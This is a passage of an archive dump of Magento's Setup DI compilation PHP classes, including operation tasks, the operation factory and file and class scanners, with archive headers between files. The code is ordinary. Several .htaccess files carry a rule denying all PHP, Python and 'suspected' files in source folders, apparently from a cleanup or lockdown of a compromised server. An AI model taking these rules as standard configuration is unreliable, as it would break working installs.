/** * @var \Magento\Setup\Module\Di\Code\Reader\Decorator\Interceptions */ private $interceptionsInstancesNamesList; /** * @param \Magento\Framework\Interception\Config\Config $configInterface * @param \Magento\Setup\Module\Di\Code\Reader\Decorator\Interceptions $interceptionsInstancesNamesList * @param array $data */ public function __construct( \Magento\Framework\Interception\Config\Config $configInterface, \Magento\Setup\Module\Di\Code\Reader\Decorator\Interceptions $interceptionsInstancesNamesList, array $data = [] ) { $this->configInterface = $configInterface; $this->interceptionsInstancesNamesList = $interceptionsInstancesNamesList; $this->data = $data; } /** * Flushes interception cached configuration and generates a new one * * @return void */ public function doOperation() { if (empty($this->data)) { return; } $definitions = []; foreach ($this->data as $paths) { if (!is_array($paths)) { $paths = (array)$paths; } foreach ($paths as $path) { $definitions = array_merge($definitions, $this->interceptionsInstancesNamesList->getList($path)); } } $this->configInterface->initialize($definitions); } /** * Returns operation name * * @return string */ public function getName() { return 'Interception cache generation'; } } Magento/Setup/Module/Di/App/Task/Operation/Interception.php000077700000006225151323623130017570 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\App\Task\Operation; use Magento\Setup\Module\Di\App\Task\OperationInterface; use Magento\Setup\Module\Di\Code\Generator\InterceptionConfigurationBuilder; use Magento\Framework\Interception\Code\Generator\Interceptor; use Magento\Framework\App; use Magento\Setup\Module\Di\Code\GeneratorFactory; use Magento\Setup\Module\Di\Code\Reader\ClassesScanner; class Interception implements OperationInterface { /** * @var App\AreaList */ private $areaList; /** * @var InterceptionConfigurationBuilder */ private $interceptionConfigurationBuilder; /** * @var array */ private $data = []; /** * @var ClassesScanner */ private $classesScanner; /** * @var GeneratorFactory */ private $generatorFactory; /** * @param InterceptionConfigurationBuilder $interceptionConfigurationBuilder * @param App\AreaList $areaList * @param ClassesScanner $classesScanner * @param GeneratorFactory $generatorFactory * @param array $data */ public function __construct( InterceptionConfigurationBuilder $interceptionConfigurationBuilder, App\AreaList $areaList, ClassesScanner $classesScanner, GeneratorFactory $generatorFactory, $data = [] ) { $this->interceptionConfigurationBuilder = $interceptionConfigurationBuilder; $this->areaList = $areaList; $this->data = $data; $this->classesScanner = $classesScanner; $this->generatorFactory = $generatorFactory; } /** * {@inheritdoc} */ public function doOperation() { if (empty($this->data)) { return; } $this->interceptionConfigurationBuilder->addAreaCode(App\Area::AREA_GLOBAL); foreach ($this->areaList->getCodes() as $areaCode) { $this->interceptionConfigurationBuilder->addAreaCode($areaCode); } $classesList = []; foreach ($this->data['intercepted_paths'] as $paths) { if (!is_array($paths)) { $paths = (array)$paths; } foreach ($paths as $path) { $classesList = array_merge($classesList, $this->classesScanner->getList($path)); } } $generatorIo = new \Magento\Framework\Code\Generator\Io( new \Magento\Framework\Filesystem\Driver\File(), $this->data['path_to_store'] ); $generator = $this->generatorFactory->create( [ 'ioObject' => $generatorIo, 'generatedEntities' => [ Interceptor::ENTITY_TYPE => \Magento\Setup\Module\Di\Code\Generator\Interceptor::class, ] ] ); $configuration = $this->interceptionConfigurationBuilder->getInterceptionConfiguration($classesList); $generator->generateList($configuration); } /** * Returns operation name * * @return string */ public function getName() { return 'Interceptors generation'; } } Magento/Setup/Module/Di/App/Task/Operation/ApplicationCodeGenerator.php000077700000004677151323623130022043 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\App\Task\Operation; use Magento\Framework\App\Bootstrap; use Magento\Framework\Exception\FileSystemException; use Magento\Setup\Module\Di\App\Task\OperationInterface; use Magento\Setup\Module\Di\Code\Reader\ClassesScanner; use Magento\Setup\Module\Di\Code\Scanner\DirectoryScanner; use Magento\Setup\Module\Di\Code\Scanner\PhpScanner; class ApplicationCodeGenerator implements OperationInterface { /** * @var array */ private $data = []; /** * @var ClassesScanner */ private $classesScanner; /** * @var PhpScanner */ private $phpScanner; /** * @var DirectoryScanner */ private $directoryScanner; /** * @param ClassesScanner $classesScanner * @param PhpScanner $phpScanner * @param DirectoryScanner $directoryScanner * @param array $data */ public function __construct( ClassesScanner $classesScanner, PhpScanner $phpScanner, DirectoryScanner $directoryScanner, $data = [] ) { $this->data = $data; $this->classesScanner = $classesScanner; $this->phpScanner = $phpScanner; $this->directoryScanner = $directoryScanner; } /** * {@inheritdoc} */ public function doOperation() { if (array_diff(array_keys($this->data), ['filePatterns', 'paths', 'excludePatterns']) !== array_diff(['filePatterns', 'paths', 'excludePatterns'], array_keys($this->data))) { return; } foreach ($this->data['paths'] as $paths) { if (!is_array($paths)) { $paths = (array)$paths; } $files = []; foreach ($paths as $path) { $this->classesScanner->getList($path); $files = array_merge_recursive( $files, $this->directoryScanner->scan($path, $this->data['filePatterns'], $this->data['excludePatterns']) ); } $entities = $this->phpScanner->collectEntities($files['php']); foreach ($entities as $entityName) { class_exists($entityName); } } } /** * Returns operation name * * @return string */ public function getName() { return 'Application code generator'; } } Magento/Setup/Module/Di/App/Task/Operation/AppActionListGenerator.php000077700000002451151323623130021503 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\App\Task\Operation; use Magento\Setup\Module\Di\App\Task\OperationInterface; use Magento\Framework\Module\Dir\Reader as ModuleReader; use Magento\Framework\App\ObjectManager\ConfigWriterInterface; /** * Pregenerates actions for Magento */ class AppActionListGenerator implements OperationInterface { /** * @var ModuleReader */ private $moduleReader; /** * @var \Magento\Framework\App\ObjectManager\ConfigWriterInterface */ private $configWriter; /** * @param ModuleReader $moduleReader * @param ConfigWriterInterface $configWriter */ public function __construct( ModuleReader $moduleReader, ConfigWriterInterface $configWriter ) { $this->moduleReader = $moduleReader; $this->configWriter = $configWriter; } /** * @inheritDoc */ public function doOperation() { $actionList = $this->moduleReader->getActionFiles(); $this->configWriter->write( 'app_action_list', $actionList ); } /** * @inheritDoc */ public function getName() { return 'App action list generation'; } } Magento/Setup/Module/Di/App/Task/Operation/ServiceDataAttributesGenerator.php000077700000003440151323623130023231 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\App\Task\Operation; use Magento\Setup\Module\Di\App\Task\OperationInterface; use Magento\Setup\Module\Di\Code\Scanner; /** * Class ServiceDataAttributesGenerator * * Generates extension classes for data objects. */ class ServiceDataAttributesGenerator implements OperationInterface { /** * @var Scanner\ServiceDataAttributesScanner */ private $serviceDataAttributesScanner; /** * @var array */ private $data; /** * @var Scanner\ConfigurationScanner */ private $configurationScanner; /** * @param Scanner\ServiceDataAttributesScanner $serviceDataAttributesScanner * @param Scanner\ConfigurationScanner $configurationScanner * @param array $data */ public function __construct( Scanner\ServiceDataAttributesScanner $serviceDataAttributesScanner, \Magento\Setup\Module\Di\Code\Scanner\ConfigurationScanner $configurationScanner, $data = [] ) { $this->serviceDataAttributesScanner = $serviceDataAttributesScanner; $this->data = $data; $this->configurationScanner = $configurationScanner; } /** * Processes operation task * * @return void */ public function doOperation() { $files = $this->configurationScanner->scan('extension_attributes.xml'); $entities = $this->serviceDataAttributesScanner->collectEntities($files); foreach ($entities as $entityName) { class_exists($entityName); } } /** * Returns operation name * * @return string */ public function getName() { return 'Service data attributes generation'; } } Magento/Setup/Module/Di/App/Task/Operation/Area.php000077700000007660151323623130016001 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\App\Task\Operation; use Magento\Setup\Module\Di\App\Task\OperationInterface; use Magento\Framework\App; use Magento\Setup\Module\Di\Compiler\Config; use Magento\Setup\Module\Di\Definition\Collection as DefinitionsCollection; /** * Area configuration aggregation */ class Area implements OperationInterface { /** * @var App\AreaList */ private $areaList; /** * @var \Magento\Setup\Module\Di\Code\Reader\Decorator\Area */ private $areaInstancesNamesList; /** * @var Config\Reader */ private $configReader; /** * @var \Magento\Framework\App\ObjectManager\ConfigWriterInterface */ private $configWriter; /** * @var array */ private $data = []; /** * @var \Magento\Setup\Module\Di\Compiler\Config\ModificationChain */ private $modificationChain; /** * @param App\AreaList $areaList * @param \Magento\Setup\Module\Di\Code\Reader\Decorator\Area $areaInstancesNamesList * @param Config\Reader $configReader * @param \Magento\Framework\App\ObjectManager\ConfigWriterInterface $configWriter * @param \Magento\Setup\Module\Di\Compiler\Config\ModificationChain $modificationChain * @param array $data */ public function __construct( App\AreaList $areaList, \Magento\Setup\Module\Di\Code\Reader\Decorator\Area $areaInstancesNamesList, Config\Reader $configReader, \Magento\Framework\App\ObjectManager\ConfigWriterInterface $configWriter, Config\ModificationChain $modificationChain, $data = [] ) { $this->areaList = $areaList; $this->areaInstancesNamesList = $areaInstancesNamesList; $this->configReader = $configReader; $this->configWriter = $configWriter; $this->data = $data; $this->modificationChain = $modificationChain; } /** * @inheritdoc */ public function doOperation() { if (empty($this->data)) { return; } $definitionsCollection = new DefinitionsCollection(); foreach ($this->data as $paths) { if (!is_array($paths)) { $paths = (array)$paths; } foreach ($paths as $path) { $definitionsCollection->addCollection($this->getDefinitionsCollection($path)); } } $this->sortDefinitions($definitionsCollection); $areaCodes = array_merge([App\Area::AREA_GLOBAL], $this->areaList->getCodes()); foreach ($areaCodes as $areaCode) { $config = $this->configReader->generateCachePerScope($definitionsCollection, $areaCode); $config = $this->modificationChain->modify($config); $this->configWriter->write( $areaCode, $config ); } } /** * Returns definitions collection * * @param string $path * @return DefinitionsCollection */ protected function getDefinitionsCollection($path) { $definitions = new DefinitionsCollection(); foreach ($this->areaInstancesNamesList->getList($path) as $className => $constructorArguments) { $definitions->addDefinition($className, $constructorArguments); } return $definitions; } /** * Returns operation name * * @return string */ public function getName() { return 'Area configuration aggregation'; } /** * Sort definitions to make reproducible result * * @param DefinitionsCollection $definitionsCollection */ private function sortDefinitions(DefinitionsCollection $definitionsCollection): void { $definitions = $definitionsCollection->getCollection(); ksort($definitions); $definitionsCollection->initialize($definitions); } } Magento/Setup/Module/Di/App/Task/Operation/.htaccess000077700000000177151323623130016212 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/Di/App/Task/OperationInterface.php000077700000000735151323623130016746 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\App\Task; /** * Interface \Magento\Setup\Module\Di\App\Task\OperationInterface * */ interface OperationInterface { /** * Processes operation task * * @return void */ public function doOperation(); /** * Returns operation name * * @return string */ public function getName(); } Magento/Setup/Module/Di/App/Task/OperationFactory.php000077700000006770151323623130016462 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\App\Task; use Magento\Setup\Module\Di\App\Task\Operation\AppActionListGenerator; use Magento\Setup\Module\Di\App\Task\Operation\PluginListGenerator; /** * Factory that creates list of OperationInterface classes */ class OperationFactory { /** * @var \Magento\Framework\ObjectManagerInterface */ private $objectManager; /** * Area config generator operation definition */ const AREA_CONFIG_GENERATOR = 'area'; /** * Interception operation definition */ const INTERCEPTION = 'interception'; /** * Interception cache operation definition */ const INTERCEPTION_CACHE = 'interception_cache'; /** * Repository generator operation definition */ const REPOSITORY_GENERATOR = 'repository_generator'; /** * Proxy generator operation definition */ const PROXY_GENERATOR = 'proxy_generator'; /** * Service data attributes generator operation definition */ const DATA_ATTRIBUTES_GENERATOR = 'extension_attributes_generator'; /** * Application code generator operation definition */ const APPLICATION_CODE_GENERATOR = 'application_code_generator'; /** * Application action list generator operation definition */ const APPLICATION_ACTION_LIST_GENERATOR = 'application_action_list_generator'; /** * Plugin list generator operation definition */ const PLUGIN_LIST_GENERATOR = 'plugin_list_generator'; /** * Operations definitions * * @var array */ private $operationsDefinitions = [ self::DATA_ATTRIBUTES_GENERATOR => \Magento\Setup\Module\Di\App\Task\Operation\ServiceDataAttributesGenerator::class, self::AREA_CONFIG_GENERATOR => \Magento\Setup\Module\Di\App\Task\Operation\Area::class, self::APPLICATION_CODE_GENERATOR => \Magento\Setup\Module\Di\App\Task\Operation\ApplicationCodeGenerator::class, self::INTERCEPTION => \Magento\Setup\Module\Di\App\Task\Operation\Interception::class, self::INTERCEPTION_CACHE => \Magento\Setup\Module\Di\App\Task\Operation\InterceptionCache::class, self::REPOSITORY_GENERATOR => \Magento\Setup\Module\Di\App\Task\Operation\RepositoryGenerator::class, self::PROXY_GENERATOR => \Magento\Setup\Module\Di\App\Task\Operation\ProxyGenerator::class, self::APPLICATION_ACTION_LIST_GENERATOR => AppActionListGenerator::class, self::PLUGIN_LIST_GENERATOR => PluginListGenerator::class, ]; /** * @param \Magento\Setup\Model\ObjectManagerProvider $objectManagerProvider */ public function __construct(\Magento\Setup\Model\ObjectManagerProvider $objectManagerProvider) { $this->objectManager = $objectManagerProvider->get(); } /** * Creates operation * * @param string $operationAlias * @param mixed $arguments * @return OperationInterface * @throws OperationException */ public function create($operationAlias, $arguments = null) { if (!array_key_exists($operationAlias, $this->operationsDefinitions)) { throw new OperationException( sprintf('Unrecognized operation "%s"', $operationAlias), OperationException::UNAVAILABLE_OPERATION ); } return $this->objectManager->create($this->operationsDefinitions[$operationAlias], ['data' => $arguments]); } } Magento/Setup/Module/Di/App/Task/OperationException.php000077700000000435151323623130017001 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\App\Task; class OperationException extends \Exception { /** * Unavailable operation code */ const UNAVAILABLE_OPERATION = 1; } Magento/Setup/Module/Di/App/Task/.htaccess000077700000000177151323623130014252 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/Di/App/.htaccess000077700000000177151323623130013350 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/Di/Code/Generator.php000077700000004627151323623130014347 0ustar00<?php /** * * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Code; use Magento\Framework\Code\Generator as FrameworkGenerator; use Magento\Framework\Code\Generator\DefinedClasses; use Magento\Framework\ObjectManagerInterface; /** * Class Generator * @package Magento\Setup\Module\Di\Code */ class Generator extends FrameworkGenerator { /** * List of class methods * * @var array */ private $classMethods = []; /** * @param ObjectManagerInterface $objectManagerInterface * @param FrameworkGenerator\Io $ioObject * @param array $generatedEntities * @param DefinedClasses $definedClasses */ public function __construct( ObjectManagerInterface $objectManagerInterface, \Magento\Framework\Code\Generator\Io $ioObject = null, array $generatedEntities = [], DefinedClasses $definedClasses = null ) { parent::__construct($ioObject, $generatedEntities, $definedClasses); $this->setObjectManager($objectManagerInterface); } /** * Create entity generator * * @param string $generatorClass * @param string $entityName * @param string $className * @return \Magento\Framework\Code\Generator\EntityAbstract */ protected function createGeneratorInstance($generatorClass, $entityName, $className) { $generatorClass = parent::createGeneratorInstance($generatorClass, $entityName, $className); $generatorClass->setInterceptedMethods($this->classMethods); return $generatorClass; } /** * Generates list of classes * * @param array $classesToGenerate * @throws \Magento\Framework\Exception\LocalizedException * @return void */ public function generateList($classesToGenerate) { foreach ($classesToGenerate as $class => $methods) { $this->setClassMethods($methods); $this->generateClass($class . '\\Interceptor'); $this->clearClassMethods(); } } /** * Sets class methods * * @param array $methods * @return void */ private function setClassMethods($methods) { $this->classMethods = $methods; } /** * Clear class methods * @return void */ private function clearClassMethods() { $this->classMethods = []; } } Magento/Setup/Module/Di/Code/Reader/ClassReaderDecorator.php000077700000003107151323623130017646 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Code\Reader; use Magento\Setup\Module\Di\Compiler\ConstructorArgument; class ClassReaderDecorator implements \Magento\Framework\Code\Reader\ClassReaderInterface { /** * @var \Magento\Framework\Code\Reader\ClassReader */ private $classReader; /** * @param \Magento\Framework\Code\Reader\ClassReader $classReader */ public function __construct(\Magento\Framework\Code\Reader\ClassReader $classReader) { $this->classReader = $classReader; } /** * Read class constructor signature * * @param string $className * @return ConstructorArgument[]|null * @throws \ReflectionException */ public function getConstructor($className) { $unmappedArguments = $this->classReader->getConstructor($className); if ($unmappedArguments === null) { return $unmappedArguments; } $arguments = []; foreach ($unmappedArguments as $argument) { $arguments[] = new ConstructorArgument($argument); } return $arguments; } /** * Retrieve parent relation information for type in a following format * array( * 'Parent_Class_Name', * 'Interface_1', * 'Interface_2', * ... * ) * * @param string $className * @return string[] */ public function getParents($className) { return $this->classReader->getParents($className); } } Magento/Setup/Module/Di/Code/Reader/Type.php000077700000001060151323623130014530 0ustar00<?php /** * * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Code\Reader; class Type { /** * Whether instance is concrete implementation * * @param string $type * @return bool */ public function isConcrete($type) { try { $instance = new \ReflectionClass($type); } catch (\ReflectionException $e) { return false; } return !$instance->isAbstract() && !$instance->isInterface(); } } Magento/Setup/Module/Di/Code/Reader/FileScanner.php000077700000027044151323623130016012 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Code\Reader; /** * FileScanner code reader * * @SuppressWarnings(PHPMD) */ class FileScanner extends \Laminas\Code\Scanner\FileScanner { /** * @var int */ private $tokenType; /** * @inheritDoc */ protected function scan() { if ($this->isScanned) { return; } if (!$this->tokens) { throw new \Laminas\Code\Exception\RuntimeException('No tokens were provided'); } /** * Define PHP 5.4 'trait' token constant. */ if (!defined('T_TRAIT')) { define('T_TRAIT', 42001); } /** * Variables & Setup */ $tokens = &$this->tokens; // localize $infos = &$this->infos; // localize $tokenIndex = null; $token = null; $this->tokenType = null; $tokenContent = null; $tokenLine = null; $namespace = null; $docCommentIndex = false; $infoIndex = 0; /* * MACRO creation */ $macroTokenAdvance = function () use (&$tokens, &$tokenIndex, &$token, &$tokenContent, &$tokenLine) { $tokenIndex = ($tokenIndex === null) ? 0 : $tokenIndex + 1; if (!isset($tokens[$tokenIndex])) { $token = false; $tokenContent = false; $this->tokenType = false; $tokenLine = false; return false; } if (is_string($tokens[$tokenIndex]) && $tokens[$tokenIndex] === '"') { do { $tokenIndex++; } while (!(is_string($tokens[$tokenIndex]) && $tokens[$tokenIndex] === '"')); } $token = $tokens[$tokenIndex]; if (is_array($token)) { list($this->tokenType, $tokenContent, $tokenLine) = $token; } else { $this->tokenType = null; $tokenContent = $token; } return $tokenIndex; }; $macroTokenLogicalStartIndex = function () use (&$tokenIndex, &$docCommentIndex) { return ($docCommentIndex === false) ? $tokenIndex : $docCommentIndex; }; $macroDocCommentStart = function () use (&$tokenIndex, &$docCommentIndex) { $docCommentIndex = $tokenIndex; return $docCommentIndex; }; $macroDocCommentValidate = function () use (&$docCommentIndex) { static $validTrailingTokens = null; if ($validTrailingTokens === null) { $validTrailingTokens = [T_WHITESPACE, T_FINAL, T_ABSTRACT, T_INTERFACE, T_CLASS, T_FUNCTION]; } if ($docCommentIndex !== false && !in_array($this->tokenType, $validTrailingTokens)) { $docCommentIndex = false; } return $docCommentIndex; }; $macroInfoAdvance = function () use (&$infoIndex, &$infos, &$tokenIndex, &$tokenLine) { $infos[$infoIndex]['tokenEnd'] = $tokenIndex; $infos[$infoIndex]['lineEnd'] = $tokenLine; $infoIndex++; return $infoIndex; }; // phpcs:disable /** * START FINITE STATE MACHINE FOR SCANNING TOKENS */ // Initialize token $macroTokenAdvance(); SCANNER_TOP: if ($token === false) { goto SCANNER_END; } // Validate current doc comment index $macroDocCommentValidate(); switch ($this->tokenType) { case T_DOC_COMMENT: $macroDocCommentStart(); goto SCANNER_CONTINUE; //goto no break needed case T_NAMESPACE: $infos[$infoIndex] = [ 'type' => 'namespace', 'tokenStart' => $macroTokenLogicalStartIndex(), 'tokenEnd' => null, 'lineStart' => $token[2], 'lineEnd' => null, 'namespace' => null, ]; // start processing with next token if ($macroTokenAdvance() === false) { goto SCANNER_END; } SCANNER_NAMESPACE_TOP: if ($this->tokenType === null && $tokenContent === ';' || $tokenContent === '{') { goto SCANNER_NAMESPACE_END; } if ($this->tokenType === T_WHITESPACE) { goto SCANNER_NAMESPACE_CONTINUE; } if ($this->tokenType === T_NS_SEPARATOR || $this->tokenType === T_STRING) { $infos[$infoIndex]['namespace'] .= $tokenContent; } SCANNER_NAMESPACE_CONTINUE: if ($macroTokenAdvance() === false) { goto SCANNER_END; } goto SCANNER_NAMESPACE_TOP; SCANNER_NAMESPACE_END: $namespace = $infos[$infoIndex]['namespace']; $macroInfoAdvance(); goto SCANNER_CONTINUE; //goto no break needed case T_USE: $infos[$infoIndex] = [ 'type' => 'use', 'tokenStart' => $macroTokenLogicalStartIndex(), 'tokenEnd' => null, 'lineStart' => $tokens[$tokenIndex][2], 'lineEnd' => null, 'namespace' => $namespace, 'statements' => [0 => ['use' => null, 'as' => null]], ]; $useStatementIndex = 0; $useAsContext = false; // start processing with next token if ($macroTokenAdvance() === false) { goto SCANNER_END; } SCANNER_USE_TOP: if ($this->tokenType === null) { if ($tokenContent === ';') { goto SCANNER_USE_END; } elseif ($tokenContent === ',') { $useAsContext = false; $useStatementIndex++; $infos[$infoIndex]['statements'][$useStatementIndex] = ['use' => null, 'as' => null]; } } // ANALYZE if ($this->tokenType !== null) { if ($this->tokenType == T_AS) { $useAsContext = true; goto SCANNER_USE_CONTINUE; } if ($this->tokenType == T_NS_SEPARATOR || $this->tokenType == T_STRING) { if ($useAsContext == false) { $infos[$infoIndex]['statements'][$useStatementIndex]['use'] .= $tokenContent; } else { $infos[$infoIndex]['statements'][$useStatementIndex]['as'] = $tokenContent; } } } SCANNER_USE_CONTINUE: if ($macroTokenAdvance() === false) { goto SCANNER_END; } goto SCANNER_USE_TOP; SCANNER_USE_END: $macroInfoAdvance(); goto SCANNER_CONTINUE; //goto no break needed case T_INCLUDE: case T_INCLUDE_ONCE: case T_REQUIRE: case T_REQUIRE_ONCE: // Static for performance static $includeTypes = [ T_INCLUDE => 'include', T_INCLUDE_ONCE => 'include_once', T_REQUIRE => 'require', T_REQUIRE_ONCE => 'require_once' ]; $infos[$infoIndex] = [ 'type' => 'include', 'tokenStart' => $macroTokenLogicalStartIndex(), 'tokenEnd' => null, 'lineStart' => $tokens[$tokenIndex][2], 'lineEnd' => null, 'includeType' => $includeTypes[$tokens[$tokenIndex][0]], 'path' => '', ]; // start processing with next token if ($macroTokenAdvance() === false) { goto SCANNER_END; } SCANNER_INCLUDE_TOP: if ($this->tokenType === null && $tokenContent === ';') { goto SCANNER_INCLUDE_END; } $infos[$infoIndex]['path'] .= $tokenContent; SCANNER_INCLUDE_CONTINUE: if ($macroTokenAdvance() === false) { goto SCANNER_END; } goto SCANNER_INCLUDE_TOP; SCANNER_INCLUDE_END: $macroInfoAdvance(); goto SCANNER_CONTINUE; //goto no break needed case T_FUNCTION: case T_FINAL: case T_ABSTRACT: case T_CLASS: case T_INTERFACE: case T_TRAIT: $infos[$infoIndex] = [ 'type' => ($this->tokenType === T_FUNCTION) ? 'function' : 'class', 'tokenStart' => $macroTokenLogicalStartIndex(), 'tokenEnd' => null, 'lineStart' => $tokens[$tokenIndex][2], 'lineEnd' => null, 'namespace' => $namespace, 'uses' => $this->getUsesNoScan($namespace), 'name' => null, 'shortName' => null, ]; $classBraceCount = 0; // start processing with current token SCANNER_CLASS_TOP: // process the name if ($infos[$infoIndex]['shortName'] == '' && (($this->tokenType === T_CLASS || $this->tokenType === T_INTERFACE || $this->tokenType === T_TRAIT ) && $infos[$infoIndex]['type'] === 'class' && $tokens[$tokenIndex - 1][0] !== T_DOUBLE_COLON || ($this->tokenType === T_FUNCTION && $infos[$infoIndex]['type'] === 'function')) ) { $infos[$infoIndex]['shortName'] = $tokens[$tokenIndex + 2][1]; $infos[$infoIndex]['name'] = (($namespace !== null) ? $namespace . '\\' : '') . $infos[$infoIndex]['shortName']; } if ($this->tokenType === null) { if ($tokenContent == '{') { $classBraceCount++; } if ($tokenContent == '}') { $classBraceCount--; if ($classBraceCount === 0) { goto SCANNER_CLASS_END; } } } SCANNER_CLASS_CONTINUE: if ($macroTokenAdvance() === false) { goto SCANNER_END; } goto SCANNER_CLASS_TOP; SCANNER_CLASS_END: $macroInfoAdvance(); goto SCANNER_CONTINUE; } SCANNER_CONTINUE: if ($macroTokenAdvance() === false) { goto SCANNER_END; } goto SCANNER_TOP; SCANNER_END: /** * END FINITE STATE MACHINE FOR SCANNING TOKENS */ $this->isScanned = true; // phpcs:enable } } Magento/Setup/Module/Di/Code/Reader/ClassesScanner.php000077700000011152151323623130016521 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Module\Di\Code\Reader; use Magento\Framework\App\Filesystem\DirectoryList; use Magento\Framework\App\ObjectManager; use Magento\Framework\Exception\FileSystemException; /** * Class ClassesScanner */ class ClassesScanner implements ClassesScannerInterface { /** * @var array */ protected $excludePatterns = []; /** * @var array */ private $fileResults = []; /** * @var string */ private $generationDirectory; /** * @param array $excludePatterns * @param DirectoryList|null $directoryList * @throws FileSystemException */ public function __construct(array $excludePatterns = [], DirectoryList $directoryList = null) { $this->excludePatterns = $excludePatterns; if ($directoryList === null) { $directoryList = ObjectManager::getInstance()->get(DirectoryList::class); } $this->generationDirectory = $directoryList->getPath(DirectoryList::GENERATION); } /** * Adds exclude patterns * * @param array $excludePatterns * @return void */ public function addExcludePatterns(array $excludePatterns) { $this->excludePatterns = array_merge($this->excludePatterns, $excludePatterns); } /** * Retrieves list of classes for given path * * @param string $path * @return array * @throws FileSystemException * @SuppressWarnings(PHPMD.CyclomaticComplexity) */ public function getList($path) { // phpcs:ignore $realPath = realpath($path); $isGeneration = strpos($realPath, $this->generationDirectory) === 0; // Generation folders should not have their results cached since they may actually change during compile if (!$isGeneration && isset($this->fileResults[$realPath])) { return $this->fileResults[$realPath]; } if (!(bool)$realPath) { throw new FileSystemException( new \Magento\Framework\Phrase('The "%1" path is invalid. Verify the path and try again.', [$path]) ); } $recursiveIterator = new \RecursiveIteratorIterator( new \RecursiveDirectoryIterator($realPath, \FilesystemIterator::FOLLOW_SYMLINKS), \RecursiveIteratorIterator::SELF_FIRST ); $classes = $this->extract($recursiveIterator); if (!$isGeneration) { $this->fileResults[$realPath] = $classes; } return $classes; } /** * Extracts all the classes from the recursive iterator * * @param \RecursiveIteratorIterator $recursiveIterator * @return array */ private function extract(\RecursiveIteratorIterator $recursiveIterator) { $classes = []; foreach ($recursiveIterator as $fileItem) { /** @var $fileItem \SplFileInfo */ if ($fileItem->isDir() || $fileItem->getExtension() !== 'php' || $fileItem->getBasename()[0] == '.') { continue; } $fileItemPath = $fileItem->getRealPath(); foreach ($this->excludePatterns as $excludePatterns) { if ($this->isExclude($fileItemPath, $excludePatterns)) { continue 2; } } $fileScanner = new FileClassScanner($fileItemPath); $className = $fileScanner->getClassName(); if (!empty($className)) { $this->includeClass($className, $fileItemPath); $classes[] = $className; } } return $classes; } /** * Include class from file path. * * @param string $className * @param string $fileItemPath * @return bool Whether the class is included or not */ private function includeClass(string $className, string $fileItemPath): bool { if (!class_exists($className)) { // phpcs:ignore require_once $fileItemPath; return true; } return false; } /** * Find out if file should be excluded * * @param string $fileItemPath * @param string $patterns * @return bool */ private function isExclude($fileItemPath, $patterns) { if (!is_array($patterns)) { $patterns = (array)$patterns; } foreach ($patterns as $pattern) { if (preg_match($pattern, str_replace('\\', '/', $fileItemPath))) { return true; } } return false; } } Magento/Setup/Module/Di/Code/Reader/Decorator/Interceptions.php000077700000005464151323623130020373 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Code\Reader\Decorator; use Magento\Setup\Module\Di\Compiler\Log\Log; use Magento\Framework\App\Filesystem\DirectoryList; /** * Class Interceptions * * @package Magento\Setup\Module\Di\Code\Reader\Decorator */ class Interceptions implements \Magento\Setup\Module\Di\Code\Reader\ClassesScannerInterface { /** * @var \Magento\Setup\Module\Di\Code\Reader\ClassReaderDecorator */ private $classReader; /** * @var \Magento\Setup\Module\Di\Code\Reader\ClassesScanner */ private $classesScanner; /** * @var \Magento\Setup\Module\Di\Compiler\Log\Log */ private $log; /** * @var \Magento\Framework\Code\Validator */ private $validator; /** * @param \Magento\Setup\Module\Di\Code\Reader\ClassesScanner $classesScanner * @param \Magento\Framework\Code\Reader\ClassReader $classReader * @param \Magento\Framework\Code\Validator $validator * @param \Magento\Framework\Code\Validator\ConstructorIntegrity $constructorIntegrityValidator * @param Log $log */ public function __construct( \Magento\Setup\Module\Di\Code\Reader\ClassesScanner $classesScanner, \Magento\Framework\Code\Reader\ClassReader $classReader, \Magento\Framework\Code\Validator $validator, \Magento\Framework\Code\Validator\ConstructorIntegrity $constructorIntegrityValidator, Log $log ) { $this->classReader = $classReader; $this->classesScanner = $classesScanner; $this->validator = $validator; $this->log = $log; $this->validator->add($constructorIntegrityValidator); } /** * Retrieves list of classes for given path * * @param string $path path to dir with files * * @return array */ public function getList($path) { $nameList = []; foreach ($this->classesScanner->getList($path) as $className) { try { // validate all classes except classes in generated/code dir $generatedCodeDir = DirectoryList::getDefaultConfig()[DirectoryList::GENERATED_CODE]; if (strpos($path, $generatedCodeDir[DirectoryList::PATH]) === false) { $this->validator->validate($className); } $nameList[] = $className; } catch (\Magento\Framework\Exception\ValidatorException $exception) { 